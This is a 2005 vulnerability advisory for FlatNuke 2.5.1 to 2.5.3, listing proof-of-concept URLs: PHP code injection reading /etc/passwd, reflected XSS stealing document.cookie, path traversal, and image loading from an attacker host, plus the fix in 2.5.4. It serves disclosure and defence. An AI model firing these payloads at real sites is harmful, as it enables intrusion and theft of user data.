FlatNuke Multiple Input Validation Vulnerabilities

BID:13882

Info

FlatNuke Multiple Input Validation Vulnerabilities

Bugtraq ID: 13882
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 07 2005 12:00AM
Updated: Jun 07 2005 12:00AM
Credit: SecWatch is credited with the discovery of these issues.
Vulnerable: FlatNuke FlatNuke 2.5.3
FlatNuke FlatNuke 2.5.2
FlatNuke FlatNuke 2.5.1
Not Vulnerable: FlatNuke FlatNuke 2.5.4

Discussion

FlatNuke Multiple Input Validation Vulnerabilities

Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.

An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible.

Exploit / POC

FlatNuke Multiple Input Validation Vulnerabilities

No exploit is required to leverage either of these issues. The following proof of concepts have been released.
http://www.example.com/?cmd=<?php system("cat /etc/passwd")?>
http://www.example.com/forum/help.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/help.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/footer.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/footer.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/flatnuke/index.php?mod=none_Search&find=1&where=null
http://www.example.com/flatnuke/print.php
http://www.example.com/flatnuke/thumb.php?image=null
http://www.example.com/flatnuke/thumb.php?image=../../non-webreadable/private/image.jpg
http://www.example.com/flatnuke/thumb.php?image=http://[attacker]/image.jpg
http://www.example.com/flatnuke/thumb.php?image=null

Solution / Fix

FlatNuke Multiple Input Validation Vulnerabilities

Solution:
The vendor has released version 2.5.4 of the affected software resolving these issues.


FlatNuke FlatNuke 2.5.1

FlatNuke FlatNuke 2.5.2

FlatNuke FlatNuke 2.5.3

References

FlatNuke Multiple Input Validation Vulnerabilities

References:

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